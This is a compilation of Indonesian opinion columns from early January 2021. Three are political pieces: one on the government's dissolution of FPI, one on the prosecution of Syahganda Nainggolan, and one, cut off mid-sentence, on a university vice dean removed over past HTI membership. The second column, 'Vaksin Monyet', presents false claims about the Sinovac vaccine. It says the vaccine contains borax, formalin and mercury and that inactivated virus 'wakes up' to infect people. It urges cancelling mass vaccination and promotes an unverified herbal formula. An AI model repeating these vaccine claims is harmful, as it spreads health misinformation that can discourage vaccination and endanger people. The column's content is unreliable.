by Dr. marwan Batubara Jakarta FNN – Selasa (05/01). Pemerintah membubarkan FPI melalui Surat Keputusan Bersama (SKB) tiga Kementerian dan tiga Lembaga Negara. SKB Menteri Dalam Negeri, Menteri Hukum dan HAM, Menteri Komunikasi dan Informatika, Jaksa Agung, Kepala Kepolisian Republik Indonesia, dan Kepala BNPT pada 30 Desember 2020. Pengumuman dipimpin Menko Polhukam Mahfud M.D. SKB bernomor banyak, yakni No.220-4780/2020, No.M.HH-14.HH05.05/2020, No.690/2020, No.264/2020, No.KB/3/XII 2020, dan No.320/2020, tentang Larangan Kegiatan Penggunaan Simbol dan Atribut serta Pemberhentian Kegiatan FPI. Bagi FPI dan para pendukung, sikap otoriter pemerintah terhadap FPI, dan kalangan ummat Islam yang berbeda pandangan atau bersikap kritis terhadap penyelenggaraan negara sudah menjadi hal yang biasa. “Anomali” tersebut sudah menjadi “makanan rutin” sehari-hari. Karena itu, kita tidak perlu heran, mengeluh, menyesal atau takut atas terbitnya SKB. Bagi FPI dan sebagian ummat, menjalankan perintah Amar Ma’ruf Nahi Munkar (Q.S Ali Imran 104) merupakan perintah Allah SWT yang wajib dijalankan. Justru kalau tidak dijalankan, atau hanya memilih Amar Ma’ruf dan enggan menjalankan perintah “Nahi Munkar”, maka telah terjadi pembangkangan. Hal ini bukanlah pilihan bagi FPI dan sebagian ummat yang konsisten menjalankan agama. Kami paham dan mendukung pilihan sikap FPI. FPI telah memilih jalan dakwah yang integral. Bukan setengah-setengah, apalagi pragmatis. Sikap konsisten FPI bukan diambil atas dasar hitungan untung-rugi duniawi sematar. Sikap konsisten ini pasti menyimpan risiko. Namun bukan karena risiko, lalu FPI surut menjalankan perintah agama. Kriminalisasi, fitnah atau hukuman penjara sudah beberapa kali dialami pimpinan FPI. Maka, pembubaran melalui SKB merupakan hal biasa saja. Tidak merisaukan atau perlu diratapi. Karena itu, tidak menunggu sampai pergantian hari. Hanya dalam hitungan jam, sejak SKB terbit, FPI sudah mendeklarasikan pembentukan ormas baru yang diberi nama Front Persatuan Islam. FPI juga namanya.Bagi seluruh jajaran FPI, the show must go on. Kepentingan menunaikan kewajiban dakwah tidak boleh kendur, apalagi terputus. Deklarasi Front Persatuan Islam pada sore 30 Desember 2020 itu dilakukan untuk melanjutkan perjuangan membela agama, bangsa, dan NKRI sesuai Pancasila dan UUD 1945. Tentu saja Pancasila dan UUD 1945 yang 18 Agustus 1945. Karena itu, gegap gempita dan kegagahan “pembubaran FPI” oleh para petinggi pembuat SKB menjadi terasa hambar, dan berlaku hampir tanpa makna. Pembubaran FPI sarat pelanggaran hukum. dan sudah sangat banyak dibahas para pakar. Pelanggaran yang paling mendasar terhadap Pasal 28E ayat (3) UUD 1945, Pasal 24 Undang-Undang No.39/1999 tentang HAM dan Putusan MK No.82/PPU-XI/2013. Bahwa hak berserikat adalah HAM yang hanya boleh dikurangi dalam keadaan darurat. Berdasarkan UU No.17/2014 jo. UU No.16/2017 Pasal 80, SKB 6 K/L tidak berdasar hukum. Karena, Pasal 80 hanya mengatur Ormas berbadan hukum, dan itupun melalui pencabutan status badan hukum. Karena pelanggaran SKB demikian gamblang, sekaligus menunjukkan sikap otoriterianisme yang makin meningkat, maka langkah FPI untuk menempuh jalur hukum terhadap terbitnya SKB merupakan hal yang patut didukung. FPI dan para pencinta kebenaran, keadilan, demokrasi, dan HAM perlu bersatu menggugat SKB yang merupakan cerminan kekuasaan yang terasa semakin otoriter dan tidak adil. Namun, pada saat yang sama, kami menganggap perjuangan Amar Makruf Nahi Munkar, menegakkan kebenaran dan menghilangkan kemungkaran, serta gerakan sosial untuk kemanusiaan tetap harus tetap harus menjadi kerja-kerja prioritas FPI. Kriminalisasi ulama dan penahanan Habib Rizieq Shihab (HRS), pembantaian 6 anggota Laskar FPI oleh anggota polisi dari Polda Metro Jaya, perampokan SDA melalui UU Minerba No.3/2020, legalisasi otoriterianisme melalui UU Korona No.2/2020, dominasi oligarki melalui UU Ciptaker No.11/2020, kebijakan pro konglo dan investor dan TKA China atas mineral nikel, korupsi dana bansos, dan lain-lain, harus tetap menjadi fokus advokasi dan perjuangan FPI. Pada sisi lain, sebenarnya cukup banyak kalangan, termasuk yang bukan pendukung FPI, menolak penerbitan SKB. Umumnya mereka menganggap dengan SKB, pemerintah telah melanggar prinsip-prinsip kehidupan bernegara. Melanggar prinsip musyawarah, keadilan, persamaan di depan hukum, pengakuan dan perlindungan HAM, peradilan bebas, perdamaian, kesejahteraan, dan lain-lain. Mereka telah menyatakan penolakan secara terbuka. Namun adakah harapan SKB dicabut? Pemerintah memang telah menyatakan FPI atau siapapun yang tidak puas dengan SKB “dipersilakan” menempuh jalur hukum. Namun melihat proses penyelenggaraan negara dan penegakan hukum yang berlangsung 2-3 tahun terakhir, termasuk proses pembentukan UU KPK, UU Ciptaker, UU Korona, UU Minerba, DPT yang bermasalah, terkuburnya kasus kematian sekitar 989 orang petugas KPPS pada Pemilu 2019, sekitar 9-10 orang korban Aksi Damai di Bawaslu 22 Mei 2019, maka rakyat pantas pesimis. Menempuh jalur hukum bisa menjadi alternatif jika para penggugat siap berkorban waktu, tenaga, pikiran, dana, hujatan, penangkapan, dan lain-lain. Jika tidak, lupakan saja. Namun begitu, masih ada sedikit harapan. Siapa tahu Presiden Jokowi berkenan bertindak sesuai posisi sebagai pemimpin tertinggi NKRI. Mari kita lihat prospeknya. Usai penetapan pemenang Pilpres 2019, pada 21 Mei 2019 di Jakarta, Presiden Jokowi antara lain mengatakan, “setelah dilantik di bulan Oktober nanti kami adalah Presiden dan Wakil Presiden seluruh rakyat Indonesia, kami adalah pemimpin dan pengayom dari 100% rakyat Indonesia. Kami akan berjuang keras demi terwujudnya keadilan sosial bagi seluruh rakyat, bagi 100% rakyat Indonesia”. Seusai Putusan MK atas sengketa Pilpres, pada 27 Juni 2019 di Jakarta, pidato Jokowi antara lain berisi, “saya mengajak seluruh rakyat Indonesia bersatu kembali. Bersama-sama membangun Indonesia. Bersama-sama memajukan negara Indonesia, tanah air kita tercinta. Tidak ada lagi 01 dan 02. Yang ada hanyalah persatuan Indonesia. Walau pilihan politik berbeda pada saat pilpres, namun kami sampaikan presiden dan wakil presiden terpilih adalah presiden dan wakil presiden bagi seluruh anak bangsa bagi seluruh rakyat Indonesia”. Pada 14 Jui 2019 di Sentul, Jokowi sebagai Presiden Terpilh menyampaikan pidato lain yang berisi, “saya yakin, semua kita berkomitmen meletakkan demokrasi yang berkeadaban. Yang menunjujung tinggi kepribadian Indonesia. Yang menunjung tinggi martabat Indonesia. Yang akan membawa Indonesia menjadi Indonesia maju, adil dan makmur”. Indonesia maju adalah Indonesia yang tidak ada satu pun rakyatnya tertinggal untuk meraih cita-citanya. Indonesia yang demokratis, yang hasilnya dinikmati oleh seluruh rakyat. Indonesia yang setiap warga negaranya memiliki hak yang sama di depan hukum. Menuju hari pelantikan 20 Oktober 2019, pidato-pidato Jokowi di atas memang membesarkan hati dan memberi harapan besar terjadinya rekonsiliasi seluruh anak bangsa. Banyak yang yakin Presiden Jokowi akan merangkul dan menjadi pemimpin bagi 100% rakyat Indonesi. Tak terkecuali terhadap HRS dan FPI yang sebelumnya pendukung Paslon 02. Jokowi pun telah berikrar untuk bersikap adil, menjunjung tinggi demokrasi yang berkeadaban. Menjamin setiap warga memiliki hak yang sama di depan hukum. Namun tak lama setelah pesta kemenangan Pilpres 2019, masalah segera timbul. HRS justru mengalami banyak kriminalisasi dan gugatan yang diduga sarat “manipulasi dan rekayasa”. Kepulangan ke tanah air “terhambat”. Terus mengalami hantu-hantu penghambat sejak 2018/2019 hingga menit-menit terakhir sebelum take-off dari Jedah 9 November 2020. Pada 12 Desember 2020, HRS resmi ditangkap, dan pada 30 Desember 2020, “musibah” berlanjut dengan pembubaran ormas yang dipimpinnya, yakni FPI. Lantas bagaimana hubungan pidato Presiden Jokowi dengan hal-hal yang dialami oleh HRS dan FPI? Menilik penerbitan SKB, terlepas ada sederet menteri, menko dan pimpinan lembaga tinggi yang mengumumkan, tentu saja SKB terbit minimal atas sepengetahuan dan restu Presiden Jokowi. Sudah sering mendengar pernyataan bahwa yang ada dan berlaku hanyalah visi Presiden. Malah rakyat bisa pula meyakini Presiden Jokowi memang menginginkan penangkapan HRS dan FPI dibubarkan. Sebagai warga sepakat dengan butir-butir penting pidato Presiden Jokowi di atas. Karena memang identik dengan nilai-nilai moral, demokrasi, HAM, kemanusiaan dan keadaban. Penilaian rakyat di atas bisa pula salah. Rakyat bisa salah kalau menganggap pemimpin tertinggi bersikap hipokrit. Lain yang kata, lain pula perbuatan. Presiden Jokowi sebenarnya bisa saja tidak bermaksud demikian. Bisa tidak berperan dalam penangkapan HRS dan pembubaran FPI. Bisa pula karena Presiden memperoleh input yang tidak akurat atau salah. Sehingga, sikap hipokrit yang dituduhkan kepada pemimpin tertinggi menjadi salah besar. Kami dan kita sebagai rakyat pantas menuntut agar Pemerintahan Jokowi memberi klarifikasi dan sekaligus kembali kepada tujuan awal pendirian negara, Pancasila, konstitusi dan amanat reformasi. Kita tidak ingin otoriterianisme semakin merebak, kezoliman merajalela, hukum dikangkangi, perbedaan pendapat diberangus dan sikap hipokrit merupakan hal lumrah. Kita tidak ingin pemimpin bersikap berbeda kata dengan perbuatan. Tidak ingin pula ada anggapan bahwa yang berpidato di atas adalah “Another Jokowi”. Mari menanti sikap dan peran Presiden Jokowi sebagai pemimpin tertinggi NKRI yang sesungguhnya. Pak Jokowi, Are You The Real President? Pak Jokowi, You are The Real President! Penulis adalah Direktur Eksekutif IRESS.

Vaksin Monyet

by Mochamad Toha Surabaya, FNN - Senin (04/01). Tahukah Anda bahwa salah satu bahan Vaksin COVID-19 merk Sinovac itu dari Vero Cell atau jaringan kera hijau Afrika? Juga virus hidup yang dilemahkan, dan mengandung bahan dasar berbahaya, seperti boraks, formaline, aluminium, dan merkuri? Itulah fakta yang tertulis di kemasan Vaksin Sinovac dari China. Kita soroti Vaksin Sinovac ini tak bermaksud diskriminasi atas produk China, meski Pemerintah sudah memesan produk serupa dari negara lainnya. Tapi, karena Sinovac itu sudah masuk ke Indonesia. Sesaat setelah mendarat di Bandara Soekarno-Hatta pun Sinovac mendapat pengawalan yang super ketat dengan mobil petugas yang meraung-raung sirinenya. Pertanda, yang dikawal ini “barang penting”, khawatir dibajak oleh pencoleng atau bajing loncat jalanan. Dari referensi ahli ditemukan, vaksin Sinovac dibuat dengan salah satu teknologi yang paling kuno, yang sudah digunakan sejak 100 tahun yang lalu. Yaitu menggunakan virus Covid-19 yang telah “dinonaktifkan” atau “dimatikan”. Sinovac mengumpulkan sampel cairan tubuh yang mengandung virus dari pasien di China, Inggris, Italia, Spanyol, dan Swiss. Sampel virus dari China sendiri digunakan sebagai dasar vaksin. Menariknya, China tidak memakai Sinovac untuk vaksin warganya. Jika benar yang digunakan sampel cairan tubuh pasien di 5 negara itu, mengapa kita percaya begitu saja dengan vaksin yang virusnya “tidak kenal” dengan cairan tubuh pasien Covid-19 asli Indonesia? Jadi, tidak ada jaminan Sinovac membuat heard immunity rakyat kita! China sendiri hingga kini juga belum berhasil mengatasi Covid-19. Di China pun muncul varian baru yang dituduh berasal dari Inggris: VUI - 202012/01. “Tidak perlu panik,” ujar Xu Wenbo, seorang pejabat Chinese Center for Disease Control and Prevention (CDC), kepada TV Pemerintah, seperti dikutip Reuters, Sabtu (2/2/2021). “Varian yang bermutasi, dibandingkan dengan varian sebelumnya .... sejauh ini belum ada perubahan yang jelas dalam kemampuannya menyebabkan penyakit,” lanjutnya. China telah mengonfirmasi kasus pertama varian baru virus corona pada Rabu (30/12/2020). Ia adalah seorang siswi berusia 23 tahun yang baru kembali dari Inggris, Senin, 14 Desember 2020. Beberapa tindakan pengendalian telah diterapkan dalam menanggapi kasus ini. Pasien telah dipindahkan ke institusi medis yang ditunjuk untuk isolasi dan pengobatan. Ini menimbulkan potensi ancaman besar bagi pencegahan dan pengendalian Covid-19 di China. Dari pernyataan CDC China itu saja tampak kekhawatiran China munculnya varian baru virus corona ini. Apalagi, saat wabah virus flu burung, China pernah gagal menanganinya. Kasus flu burung di China telah memakan korban cukup banyak. Epideimolog dari Griffith University, Dicky Budiman menyebut situasi pandemi Covid-19 di Indonesia saat ini akan memasuki masa kritis. Langkah pemerintah dalam beberapa waktu ke depan dinilai sangat menentukan nasib rakyat. “Kondisi Indonesia saat ini dan dalam 3 sampai 6 bulan ke depan (kita) memasuki masa kritis mengingat semua indikator termasuk angka kematian semakin meningkat,” kata Dicky, Sabtu (2/1/2020). Menurut Dicky, ada pemahaman yang keliru jika masyarakat mengira dengan adanya vaksin semua akan selesai. Sebab, vaksin itu bukan solusi ajaib, tapi hanyalah salah satu cara untuk membangun kekebalan individual dan perlindungan masyarakat. “Harus diketahui bahwa tidak ada vaksin yang sempurna memberi perlindungan. Sebagian kecil penerima vaksin masih memungkinkan untuk tertular Covid-19 hanya saja diharapkan dampaknya tidak terlalu parah,” katanya. Disebutkan, berdasarkan data sejarah sejauh ini tak ada pandemi yang selesai dengan vaksin. Contohnya, pandemi cacar, walau sudah ada vaksin, selesainya dalam 200 tahun. Kemudian polio baru selesai dalam 50 tahun. “Covid-19 pun sama, bukan berarti setelah disuntikan langsung hilang. Akan perlu bertahun-tahun untuk mencapai tujuan herd immunity,” ujar Dicky. Semisal, lebih dari 1 juta warga Israel sudah disuntik vaksin Covid-19, pada akhir 2020. Tapi, diantara 1 juta orang yang divaksin tersebut ada 240 orang yang dinyatakan positif Covid-19 usai menerima vaksinasi sebagaimana dikutip dari Sputniknews. Bisa saja dalam rentang waktu tersebut memang masih memungkinkan si pasien terinfeksi virus Corona. Ingat, China sendiri ternyata mengimpor vaksin Pfizer. Tidak menggunakan Sinovac! Vaksin Sinovac sudah jelas, termasuk vaksin yang bahannya menggunakan virus yang sudah “dilemahkan”. Ini sesuai dengan kemasannya: SARS-Cov-2 Vaccine (Vero Cell), Inactivated. Vaksin jenis ini tidak mudah dikembangkan dalam waktu cepat. Jika memang Vaksin Sinovac yang Uji Klinis di Indonesia itu dari Virus Corona yang sudah “dilemahkan”, itu sama saja dengan China sedang menginfeksi masyarakat Indonesia dengan Covid-19 secara massal. Sebab, di antara virus yang “dimatikan” itu, dipastikan ada yang dorman (tidur). Nah, virus dorman dan dikira mati inilah pada saat atau dengan suhu tertentu akan hidup lagi! Yang dikira tidur dan terbangun kembali itulah yang kemudian mereplikasi dirinya lebih kuat lagi daya tularnya dengan jangkauan yang lebih luas. Jika tak ingin lebih parah lagi, batalkan rencana vaksinasi massal ini. Balikin Sinovac ke China! Lindungi nyawa para nakes! Karena mereka-lah garda terdepan dalam penanganan Covid-19. Di Indonesia masih ada ahli yang mampu membuat “ramuan” untuk pasien Corona! Ketika musim haji pada 2012 mewabah Flu Burung varian baru, New Corona, di sekitar Arab Saudi, tidak ada satupun produk vaksin yang dikirim ke sana itu dari China, Amerika Serikat atau negara lainnya yang selama ini dikenal sebagai produsen virus! Tahukah Anda, yang dikirim ke Arab Saudi itu formula yang diramu ahli asli Indonesia yang dikemas dalam bentuk ampul vaksin. Atas permintaan Unicef, sebanyak 5.000 liter formula itu dikemas oleh PT OM dalam ampul vaksin. Pengiriman ke Arab Saudi diatasnamakan Unicef, kemudian dibagikan untuk jamaah haji dan relatif berhasil menghindarkan jamaah haji dari wabah new corona. Ramuan ahli yang sama dengan merk BJ dikirim ke Glenn Eagles, Singapore dan RS Malaya Malaysia, diberi merk sendiri, dengan indikasi untuk toksoplasma dan flu burung. Jika ada political will, Pemerintah tidak perlu vaksin rakyat dengan Vaksin Monyet. Karena kita punya ahlinya! Penulis adalah Wartawan Senior FNN.co.id.

Dr. Syahganda Nainggolan, Insya Allah Bebas

by Dr. Margarito Kamis, SH. M.Hum Jakarta FNN – Senin (04/01). Dr. Syahganda Nainggolan, Jumhur Hidayat, Anton Permana, dan lainnya dikenal berhaluan Koalisi Aksi Menyelematkan Indonesia (KAMI). Mereka kini masih berada dalam tahanan. Kasus super ringan yang dituduhkan kepada mereka, akan tergelar di pengadilan. Syahganda, kabarnya, akan disidangkan di Pengadilan Negeri Depok. Akan jelas pasal berapa, dalam UU apa yang didakwakan Jaksa Penuntut Umum kepada Syahganda. Pasal apapun, dalam UU apapun, yang didakwakan kepada mereka, hampir pasti tidak dapat dibuktikan. Syahganda, nampaknya sangat dekat dengan pasal 15 UU Nomor 1 Tahun 1946 tentang hukum Pidana. Dia dapat diprediksi akan dituduh atau didakwa oleh Jaksa penuntut umum dengan pasal itu. Persisnya Syahganda dituduh menyebarkan kabar bohong, yang mengakibatkan terjadinya keonaran. Kalaupun Syahganda didakwa dengan pasal lain, misalnya pasal 28 UU Nomor 11 tahunn 2008 tentang Informasi dan Transaksi Elektronik, yang diubah dengan UU omor 19 ahun 2016 tentang Perubahan UU Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik, tetap saja sulit bagi jaksa membuktikannya. Pasal ini tidak menjadikan media elektronik sebagai “golden goal” hal yang dilarang, melankan “content.” Contentlah yang menjadi hal yang dilarang. Baik pasal 15 UU Nomor 1 Tahun 1946 maupun pasal 28 UU Nomor 11 Tahun 2008 tentang Informasi dan Transaksi Elektronik, yan telah diubah itu, didakwakan kepada Syahganda, apapun bentuk dakwaannya, tetap saja sulit mendatangkan peluang terbukti. Mengapa? Terdapat dua hal sebagai penyebabnya. Kedua hal itu adalah sifat material artikel atau tulisan Syahganda, dan konteks aktual tata negara. Perihal materi atau konten tulisan Syahganda, harus dipecakan dengan menemukan kenyataan hukum berikut. Apakah tulisan itu nyata-nyata, jelas dan kongkrit terbaca tanpa ragu sebagai ajakan kepada orang? Ajakan untuk melakukan perbuatan melawan hukum? Hal apa dalam tulisan itu yang memiliki kualifikasi hukum sebagai bohong? Bila Presidium KAMI menyatakan mendukung pemogokan nasional akan dilakukan buruh, bukan mendukung demonstrasi, lalu Syahganda menafsirkan KAMI mendukung demonstrasi buruh, dimanakah letak kebohongannya? Kebohongan macam apakah yang menjadi maksud substansial pasal 15 UU Nomor 1 Tahun 1946? Apakah pada saat peristiwa ini terjadi Indoneasia sedang berada dalam masa perjuangan mempertahankan kemerdekaan persis pada tahun 1945 dulu? Apakah Nederlands Indie Civil Administration (NICA) sedang eksis di Indonesia pada saat Syahganda menuliskan isi pikirannya mengenai demonstrasi terhadap RUU Omnibus Cipta Kerja , dan menyebarkannya? Apakah ada Koninglijke Nederlands Indische Leger (KNIL) pada saat itu? Apakah ada orang bekas KNIL yang dicari-cari oleh laskar-laskar perjuangan kemerdekaan dari sabotase Belanda? Misalnya laskar Hisbullah dan Kris (Kebaktian rakyat Indonesia Sulawesi)? Apakah tentara Belanda yang membonceng NICA, sedang bergerak dari Surabaya memasuki Jakarta? Om Ventje Sumual, dalam Buku “Memoar” diterbitkan oleh Bina Insani, tanpa tahun, setelah mengambarkan susana nyata masyarakat Jakarta kala itu, menulis “banyak penghasut dikalangan penduduk”. Keadaan sungguh berat. Belanda, sesuai penilaian pemerintah akan kembali. Itu sebabnya pemerintah memberi penjelasan agar rakyat bersiaga menghadapi kembalinya penjajah Belanda yang membonceng tentara sekutu. Benar-benar berat. Kata Om Ventje, kami harus menghadapi dua masalah sekaligus. Kerja sosial untuk menolong warga yang jadi korban ekses revolusi, sekaligus menjalankan revolusi itu sendiri.” Situasi politik sangat sembrawut. Perihal keadaan ini, dapat dicek pada semua buku sejarah sejarah TNI, parlemen dan lainnya. Saya ingin mengajukan satu keadaan kecil untuk mempertebal konteks UU Nomor 1 Tahun 1946, yang mungkin akan ditembakan kepada Syahganda. Tanggal 4-5 Januari 1946 menurut Adam Malik, diadakan pertemuan wakil-wakil organisasi politik dan militer di Purwokertto dibawah pimpinan Tan Malaka. Dalam pertemuan itu, disepakati pembentukan Wadah Persatuian Perjuangan (PP). Wadah ini dikukuhkah pada tanggal 4 Februari 1946, di Solo. Tanggal pengukuhan iitu menunjuukan terjadi tiga minggu sebelum UU Nomor 1 Tahun 1946 tentang Hukum Pidana dibentuk oleh BP KNIP, dan diresmikan oleh Dr. Suwandi pada tanggal yang sama juga. Tanggal pembentuka UU ini, sama dengan terjadi tiga minggu sebelum pemerintahn RI, pindah dari Jakarta ke Yogyakarta. John D. Lege menulis, tanggal 4 Januari 1946 malam, diam-diam Bung Karno dan Bung Hatta diberangkatkan ke Yogyakarta. Sjahrir sendiri tetap berada di Jakarta. Pemisalahan ini berhasil menaikan level oposisi yang berada di Yogyakarta terhadap pemerintahannya. Ketika Persatuan Perjuangan (PP) diinisiatifi oleh Tan Malaka- Amir Sjarifudin- memperoleh dukungan Pak Dirman pada waktu pembentukannya, melancarkan opisisi terhadap politik perundingan Sjahrir, dan hasilnya jelas. Sjahrir mengundurkan diri. Itu terjadi pada tanggal 23 Februari 1946. Apa korelasinya dengan UU Nomor 1 Tahun 1946? UU Nomor 1 Tahun 1946 yang ditandatangani oleh Bung Karno, Presiden RI, dan Swandi, Menteri Kehakiman, dan diundangkan oleh A.G Pringodigdo, Sekretaris Negara pada tanggal 26 Februari 1946. Praktis UU itu terbentuk tiga hari setelah Sjahrir meletakan jabatan sebagai Perdana Menteri, atau dua hari setelah kabinet Sjahrir resmi dinyatakan bubar oleh Bung Karno pada tanggal 28 Februari. Kabinet Sjahrir I ini dilantik pada tanggal 23 November 1945. Usianya tidak sampai empat bulan. Apa dari kenyataan ini yang dapat dipertalikan dengan pasal 15 UU Nomor 1 Tahun 1946, yang besar kemungkinan dituduhkan kepada Sahganda Nainggolan? Kenyataan inilah yang menjadi “original intent” dari pasal 15 itu. Kabar bohong, dan keonaran mutlak dipertalikan dengan keadaan itu. Situasi dan politik semrawut. Desas-desus ada dimana-mana. Pemerintah belum terbentuk secara normal, sehingga harus ditertibkan. Itu subtantive goal dari pasal 15 UU Nomor 1 Tahun 1946 itu. Suka atau tidak, sejak tanggal 23 November 1945 itu. UUD 1945 telah kehilangan validitasnya sebagai hukum positif, setidaknya hanya berlaku secara simbolik. Mengapa? Sistem pemerintahan telah berubah dari presidensial ke sistem parlementer. Kabinet Presidensial yang dipegang oleh Presiden Soekarno tersebut, dibentuk dan mulai bekerja pada tanggal 4 September 1945. Kabinet itu resmi berhenti dan bubar demi hukum pada tanggal 23 November 1945. Terlepas dari sifat simbolik UUD 1945 disepanjang periode 23 November 1945 hingga 27 Desember 1949, untuk alasan apapun tidak dapat disangkal bahwa UUD itu tidak memuat satu pun ketentuan mengenai hak asasi manusia. Tidak ada satu pun pasal pada UUD 1945 itu, yang mengatur kebebasan menyatakan pendapat. Pengaturan inilah yang membedakan secara substansial antara UUD 1945 yang berlaku sepanjang 1945- sampai dengan 27 Desember 1949. Lalu diberlakukan lagi pada tanggal 5 Juli 1959 hinnga sekarang yang telah mengalami perubahan sebanyak empat kali secara berturut-turut. Cukup tegas dalam pasal 28E ayat (2) UUD 1945 yang telah diubah mengatur “Setap orang berhak atas kebebasan meyakini kepercayaan, menyatakan pikiran dan sikap sesuai dengan hati nurnainya.” Menyatakan dukungan secara lisan, menyatakan pendapat, memberi dukung kepada sekelompok orang berdemonstrasi, dan demonstrasi itu sendiri merupakan tindakan hukum yang dibolehkan menurut UU. Lalu dengan cara apa sikap Sahganda dinyatakan salah? Dengan alat dan pendekatan interpretasi apa dalam ilmu hukum, demonstrasi yang menurut hukum positif merupakan perwujujudan hak konstitusional setiap individu mengekspresikan pendapatnya, sehinga berkualifikasi melawan hukum? Apakah keonaran, dengan sendirinya ada setiap kali ada demonstrasi? Bila ya, mengapa UU mengharuskan negara menggerakkan aparatur hukum menjamin berlangsungnya demonstrasi itu? Bahaya apa yang jelas-jelas ada dan nyata atau timbul (clear and present dangger) sebagai akibat dukungan Syahganda itu? Menghukum pikiran itu hanya terjadi di Inggris abad ke-17. Saya berkeyakinan tanpa ragu, tidak ada seorang pun di Negara Kesatuan Republik Indoenesia tercinta ini, yang diam-diam memiliki, dan bekerja dengan halus membawa negara menjadi totaliter. Hanya di negara totaliter, pikiran orang menjadi subjek hukum pidana. Beralasankah karena itu, Syahganda memiliki keyakinan pernyataannya tidak dikualifikasi pidana. Beralasan juga Syahganda melihat “amar putusan yang berisi tuduhan jaksa penuntut umum tidak terbukti secara sah dan meyakinkan. Kalaupun terbukti, perbuatan itu bukan tindak pidana. Semoga. Penulis adalah Pengajar HTN Universitas Khairun Ternate.

Pemberhentian Wakil Dekan FPIK UNPAD: Inikah Pelanggaran HAM yang Berkedok Hukum?

By Pierre Suteki Semarang, FNN - Senin (04/01). DetikNews, Senin, 04 Jan 2021 08:46 WIB mewartakan bahwa Universitas Padjadjaran (Unpad) mengganti Wakil Dekan Fakultas Perikanan dan Ilmu Kelautan (FPIK) Asep Agus Handaka Suryana (AAHS). Dia diganti setelah diketahui rekam jejaknya yang pernah menjadi bagian sekaligus pengurus organisasi Hizbut Tahrir Indonesia (HTI). Unpad memutuskan mengganti wakil dekan FPIK, sehubungan dengan didapatkan informasi setelah pelantikan tanggal 2 Januari yang lalu terkait rekam jejak yang bersangkutan. Yang bersangkutan ternyata sempat menjadi pengurus organisasi yang saat ini dilarang oleh pemerintah RI. Demikian keterangan dari Kepala Kantor Komunikasi Publik Unpad Dandi Supriadi dalam aplikasi perpesanan, Senin (4/1/2021) dengan DetikNews. Dandi menegaskan bahwa Unpad berkomitmen untuk turut serta menjaga keutuhan NKRI berlandaskan Pancasila dan UUD 1945. Ia menjelaskan penggantian Wakil Dekan FPIK Unpad tersebut dilaksanakan secepat mungkin yaitu pada hari ini. Pertanyaan besarnya, apa salah AAHS, apa salah dia pernah ikut sebagai anggota HTI? Kapan ikutnya? Bukankah HTI sudah dinyatakan bubar oleh pemerintah dengan dicabutnya badan hukum HTI? Mengapa mantan anggota HTI dilarang menjabat bila ia tidak lagi menjadi anggota HTI? Mengapa mantan-mantan anggota PKI boleh mencalonkan diri sebagai pejabat baik di DPR maupun di pemerintahan? Apakah itu berarti tidak melanggar HAM, yakni HAK UNTUK DIPILIH dan MENJABAT PADA JABATAN NEGARA TERTENTU? Anda mungkin masih ingat bagaimana MK mengabulkan permohonan agar Hak Dipilih dan Dipilih para mantan anggota, keluarga anggota dan simpatisan Partai Komunis Indonesia (PKI) Diberikan Kembali berdasarkan Putusan MK Perkara Nomor 011-017/PUU-I/2003. Mahkamah Konstitusi menyatakan bahwa pasal 60 huruf g Undang-undang Nomor 12 Tahun 2003 tentang Pemilihan Umum DPR, DPD, DPRD Provinsi dan DPRD Kabupaten/kota telah mengingkari hak warga negara untuk menyatakan keyakinan politiknya dan bertentangan Hak Asasi Manusia yang dijamin oleh Undang-Undang Dasar 1945. Mahkamah Konstitusi, dalam putusan akhirnya yang disampaikan di Gedung Mahkamah Konstitusi, Jalan Medan Merdeka Barat, Selasa (24/2/2003) petang, menyatakan bahwa pasal tersebut tak lagi mempunyai kekuatan hukum yang mengikat sehingga bekas tahanan politik dari partai terlarang seperti Partai Komunis Indonesia juga berhak dipilih dalam Pemilu. Pasal 60 huruf g UU Pemilu itu menyebutkan bahwa mereka tak diberikan hak politiknya adalah "Bekas anggota organisasi terlarang Partai Komunis Indonesia, termasuk organisasi massanya, atau bukan orang yang terlibat langsung ataupun tak langsung dalam G30S/PKI atau organisasi terlarang lainnya." Telah terjadi PELONGGARAN untuk konsolidasi faham komunisme sedangkan patut diduga kegiatan mereka makin berani dan terang-terangan. Apakah negara lain yg demokratis dan menjunjung tinggi HAM juga melakukan pembatasan hak politik? Ya! Jerman (de-Nazi-sasi), Amerika Serikat (terkait Al Qaeda). Saya sependapat dengan dissenting opinion Hakim MK Achmad Roestandi tentang pembatasan hak dipilih eks anngota PKI dan yang terlibat itu konstitusional. Di Indonesia, berdasarkan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945 pembatasan seperti itu bisa dilakukan oleh pembuat undang-undang terhadap semua hak asasi manusia, yang tercantum dalam keseluruhan Bab XV HAK ASASI MANUSIA, kecuali terhadap hak-hak yang tercantum dalam pasal 28 I, yaitu : a. hak hidup. b. hak untuk tidak disiksa. c. hak kemerdekaan pikiran dan hati nurani. d. hak beragama. e. hak untuk tidak diperbudak. f. hak untuk diakui sebagai pribadi di depan hukum. g. hak untuk tidak dituntut atas dasar hukum yang berlaku surut. Pembatasan yang diatur dalam Pasal 60 huruf g Undang-undang Nomor 12 Tahun 2003 tentang Pemilihan Umum Anggota Dewan Perwakilan Rakyat, Dewan Perwakilan Daerah, Dewan Perwakilan Rakyat Daerah tidak termasuk dalam salah satu hak yang disebut dalam Pasal 28 I ayat (1). Oleh karena itu pembatasan dalam Pasal 60 huruf g tidak bertentangan dengan Undang-Undang Dasar Negara Republik Indonesia Tahun 1945. Dari keterangan Dewan Perwakilan Rakyat dan Pemerintah terungkap bahwa ketika Pasal 60 huruf g dibahas telah secara mendalam dipertimbangkan alasan-alasan pembatasan tersebut sebagaimana dimaksud dalam Pasal 28 I ayat (1) dan Pasal 28 J ayat (2) Undang-undang Dasar Negara Republik Indonesia Tahun 1945. Menurut Hakim Achmad Roestandi, pembatasan yang ditentukan oleh pembuat undang-undang sebagaimana tercantum dalam Pasal 60 huruf g bukanlah pembatasan yang bersifat permanen, melainkan pembatasan yang bersifat situasional, dikaitkan dengan intensitas peluang penyebaran kembali faham (ideologi) Komunisme/ Marxisme-Leninisme dan konsolidasi Partai Komunis Indonesia (PKI). Sebagaimana diketahui penyebaran ideologi komunisme dan konsolidasi PKI tidak dikehendaki oleh rakyat Indonesia, dengan tetap diberlakukannya TAP MPRS Nomor XXV/MPRS/1966 oleh MPR hingga saat ini. Menurut keterangan ahli, Dr. Thamrin Amal Tomagola, TAP MPR itu secara formal adalah sah, karena dibuat oleh lembaga negara yang berwenang. Bahwasannya pembatasan ini bersifat situasional, dapat ditelusuri dengan semakin longgarnya 